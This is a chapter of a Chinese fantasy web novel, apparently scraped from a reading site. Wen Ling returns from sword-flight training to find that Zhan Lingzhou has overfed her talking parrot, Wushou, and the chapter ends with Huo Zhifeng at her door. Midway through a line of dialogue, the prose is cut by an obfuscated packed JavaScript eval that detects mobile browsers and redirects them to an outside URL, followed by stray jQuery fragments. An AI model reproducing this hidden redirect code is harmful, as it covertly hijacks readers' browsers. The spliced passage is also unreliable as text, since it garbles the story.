25. 夜泊船(七)

作品:《如何促进男主黑化

    五寿吃完那药萝卜用了近半柱香的时间,啄完最后一口,就翻着肚皮躺在鸟笼中,惬意地哼起不成调的小曲。


    它摇头晃脑,声音也粗涩,仿若用钝锯拉着木头。


    展凌舟瞥着它那副滋润模样,揉捏着手腕骨节,不耐道:“喂,那个女的……温铃真的喜欢霍知风?”


    破鸟摆出神神叨叨的模样,还当是多大的秘密,结果竟是这样一件事,得亏他以为与万川坊和月山派有关,真是白伺候它一场。


    不过他仍是鬼使神差地问了下去。


    五寿迷迷糊糊睁开眼,小声嘀咕:“大爷的话怎会有假?咕咕,她成天师兄、师兄的,简直吵死个鸟了。”


    展凌舟这下信了,五寿恐怕没有骗他的脑子。况且就是要骗,也不该编出这种话来,一只贪嘴的鸟,还未必懂得人间的痴男怨女是怎么回事,骗人也想不到情爱上去。


    所以温铃的确是喜欢霍知风的。


    他压低眉头,往后一靠,坐到了椅子上:“喜欢谁不好,偏偏喜欢霍知风,那人不是喜欢李师姐么,她还上去自讨没趣?”


    展凌舟有些不高兴。


    这种秘密要来有什么用,除了温铃自己,还有谁会在意?


    不过,也多少算个筹码,说不准以后能用来要挟她,索性先记着吧。


    他转头又问五寿:“我说,她还有没有别的秘密?”


    “咕……嗝……”


    五寿撑得动弹不得了,用羽翅拍了拍自己的肚子,早已听不进他的话,只发出了几声含混的叫声。


    展凌舟将眼神收了回来,暗骂它是饭桶。


    不过这是个好机会,要报五寿上次讥笑自己的仇,也就是此时了。


    他是云音阁的大公子,从小到大,敢让他下不来台的人,要么已躺在床上,要么已埋进地里了。谁惹了他都要承担代价,遑论对方还是只鸟。


    展凌舟掌心灵力流转,暗中捻起二指,掐出火诀来,就要点燃对方的尾羽。


    忽然,门外的细雨中传来一男一女的交谈,话语虽在他听来被被雨声剪碎作了好几段,却还能勉强拼凑到一起。


    “御剑你已学得差不多了,往后再勤加练习就是。”


    是陆少仪送温铃回来了。


    展凌舟神色一顿,将抽出的二指收回了掌中,灼烧着的精纯灵力霎时消散而去,他站起身走到屋檐下,仿佛从未做过刚才的盘算。


    这些日子他也隔窗见过陆少仪好几回。


    陆少仪不愿进师妹的屋子,唯恐有所冲撞,所以总是远远送到门外就走了,二人还未说上过话。


    展凌舟也有与月山派往来的打算,奈何温铃看起来并无话语权,和她交好也不能增加声名,他一直在找机会能与其他亲传弟子相处。


    远处,风吹拂着山间的万物,一片绿意遮掩着雨中男女的身影。


    温铃在伞下,停下了脚步,转身恭恭敬敬朝陆少仪躬身行礼道:“多谢陆师兄这些时日教我御剑。”


    陆少仪见她手中伞柄一晃,倾下许多雨水洒在少女发上,连忙将她扶了起来:“你这是做什么,快些起来吧。教师妹仙法是我应尽的本分,倒是师妹你,当心淋雨沾染了风寒。”


    温铃直起腰,因学会御剑心情畅快不已,轻轻摇摆着身子,笑道:“我身子没那么孱弱的,该有的礼节,陆师兄你受着就是了。”


    她眼珠一转,想起自己这些时日全心扑在修习御剑上,很多事都来不及过问,忍不住问起来。


    “对了,陆师兄,你与黛黛姐相处得还好吗?”


    听到江黛黛的名字,陆少仪面上浮现了些迟疑之色,为难道:“……她着实是个好强的女子。”


    只有这一句话,再说不出更多。


    温铃心头了然。


    江黛黛哪里都好,就是太有主意了,她行事雷厉风行,大多数人与她相处,都跟不上她的步调。


    起居住行,江黛黛全都自己一手包揽,从不假手于人,当然决意不许陆少仪插手的。至于涉及二人要一同商量的事,怕也是紧握在自己手中。


    温铃叹气道:“黛黛姐的确是很能干的人。”


    陆少仪脸色微沉,垂首思索起这几日的事。


    江黛黛恼庭中的树遮挡了自己窗外的风景,定要将它砍了去。


    她道:“陆道友也觉得那树碍眼,是不是?交给我来办。”


    还不待他说什么,江黛黛就唤出她的法器,一对龙凤环横截砍去,那梨花树就轰然倒下,往后几天,她还辛勤地削木做了方木桌。


    陆少仪好几天出门时,望着那个平整的木桩,都不知道说些什么好。


    虽然是桩小事,江黛黛也是好心一片,但见她自己做了主张,陆少仪心里终究不快。


    他喃喃道:“若是性子别那么急躁就好了……”


    温铃听陆少仪的语气,就知二人相处得不融洽,连忙道:“不过啊!黛黛姐她待身边人很好的,偶尔强势些,还请陆师兄多多担待。”


    根据她对江黛黛为数不多的印象而言,对方是个口直心快,又极端护短的角色。


    书中的江黛黛为了文灵,常常对着李放盈冷嘲热讽,这却是听信了文灵那些添油加醋的怨恨之词,她的本性并不坏。


    对这样的人,温铃生不出反感的情绪来,何况换到而今境地,她很庆幸能有个表里如一、真心相待的人。


    但她毕竟不是文灵,要单方面接受江黛黛的好意,她也做不到。


    说来忸怩,温铃心里始终有把秤,称量着自己与别人的关系与得失。她总是想,比起欠别人许多人情,倒不如她替旁人多做一些,才能活得心安理得。


    这非是她如何大度,不过是为了让自己轻松些,何尝不是一种自我满足呢?


    她知道,但她仍想自己也能帮得上江黛黛。


    陆少仪勾起唇角,和煦道:“我都明白,师妹放心便是。我就送你到这里,雨大了,你快进屋去吧。”


    温铃点头,拎着衣角转身往屋里走。


    她一抬眼,发觉展凌舟正站在檐下,背靠着竹门望向她。


    目光相接的一刻,展凌舟仓促地移开了眼神。


    展凌舟这几日都分外嫌弃她,没想到现下会特意到门边来等她回屋。温铃心头意外,加快了步伐,踩着雨水行到门前。


    她昂首看着展凌舟,弯眸笑道:“你今日怎么出来了?屋外在下雨,很冷吧。”


    展凌舟抬眼看向陆少仪的方向,发现对方已御剑而去,雨幕中不见踪影。他抬手,将刚才找来捏在手中的布巾扔到温铃头上,漫不经心地抬脚回屋。


    “不是看你,是见见你那位陆师兄。真不知你们掌门做的什么安排,这样跟你一起再待十年,也难有什么用处。”


    不是等她啊。


    温铃撇嘴,收起伞靠在门边,用布巾擦起垂着水滴的头发:“兴许是汉玉峰比较空,就安排你们住过来了……”


    其实她也说不上来姚枝的意图。


    三大世家的话事人的确要慎重对待,让住到他们汉玉峰本不算奇怪,但偏偏要男女交叉着住,用意就难以捉摸了。


    就算是修仙界的英雄儿女,不像山下那样讲求男女大防,但也有男女授受不亲的观念。幸而展凌舟是个比她还小一岁的少年人,否则不知该有多尴尬。


    展凌舟烦闷道:“别跟我装单纯。要不是看你太过愚钝,不像打了那些个腌臜主意,我还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173525|196060||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    真当你们掌门是想和三大世家结亲。”


    “那不大可能吧……”温铃否认得有些心虚,不敢说自己也做过类似的猜测。


    她踱步走到鸟笼边,想和五寿说说话,缓和一下气氛,却见五寿正蹬着脚,躺在笼中一动也不动。


    温铃睁大了眼睛,顿时慌乱地抬起手,晃起鸟笼来:“五寿?五寿!你没事吧,还活着么?”


    “咕……别晃了,要吐了……”五寿回了话,声音却细弱。


    还活着啊,那就好,那就好。


    但是它怎么了,看起来无精打采的,是病了么?仔细看看,肚子也鼓得不像话。


    温铃打开笼子,把五寿取出来,珍重地捧在掌心:“你缓一缓,跟我说说,是哪里不舒服?”


    “大爷,终于出笼了……可惜现在没法啄你眼睛……后悔,后悔啊……”


    这时候了,它怎么还惦记着啄眼睛!


    温铃又急又气,用指尖轻戳它的头:“到底怎么了,你倒是快点说说啊,别让我担心。”


    五寿被她一戳头,本就虚着的眼睛立刻闭上了,直直倒在她掌心。温铃着急你,正要摇醒它,就听到五寿口鼻内发出了惊天的呼噜声。


    “咕噜咕噜……呼,呼……”


    好像不是昏过去了,是……睡着了?


    温铃正盯着它不知所措时,展凌舟走了过来,将她头上挂着的布巾抽走,丢到桌子上。


    他挑眉道:“你急什么?它吃撑了而已,你再晃几下它就真吐了。”


    温铃抬头看了看展凌舟,又低头看了看五寿的肚子:“展公子,你喂它吃了什么?”


    展凌舟眼神游移:“它吵着要吃东西,我在厨房里只找到根药萝卜,就喂给它了。”


    厨房里的确有药萝卜,是准备囤着炖汤的,粗似弯臂,换作人来吃,一顿也是吃不完,而五寿的个头还不如她的手掌大。


    温铃谨慎问道:“那药萝卜……你、你全喂给它了?”


    展凌舟听她语气古怪,疑惑道:“是啊,怎么了?”


    “……没怎么。”


    才怪。


    *


    往后五天,温铃又把五寿关进了笼子里,罚它不许吃饭。


    前两日倒还好,五寿本就撑得厉害,做出一派豪气模样。


    “区区五日而已,大爷二十日不吃饭都不成问题,蠢丫头你瞧不起谁呢!咕!”


    可到了第三日,那些药萝卜消化得差不多,它就饿了,屋子里又开始萦绕着五寿的谩骂声。


    尤其在看到展凌舟吃着峰外买来的茶点时,动静格外大。


    “蠢丫头你欺软怕硬!小白脸喂给我的,你怎么不罚他!咕咕!”


    “偏心,偏心,你包庇小白脸!”


    温铃没理会它,其实五寿骂得倒没错,这事展凌舟做得也不对。但展凌舟怎么说都是云音阁的公子哥,难道自己还有罚他的本事不成?


    她捂着耳朵,佯装没听到。


    不知是否因为展凌舟看五寿的目光太冷,它这话也没能嚷嚷多久,很快就自觉地闭上了嘴。


    还真是一物降一物啊,展凌舟平日里跟个公孔雀似的,没想到克的竟是鹦哥。


    到了第五天晚上,温铃实在受不住五寿的音浪炮轰,终于给它喂了鸟食。


    她将手撑在桌上托着腮,百无聊赖地看五寿啄玉米粒,这时外面传来了叩门声。


    都入夜了,是陆少仪来探望她吗?还是江黛黛一时兴起找她话家常?


    她匆忙地站了起来,轻声问道:“谁啊?”


    “……是我。”


    温铃心头一跳。


    这声音她最熟悉不过。


    是霍知风。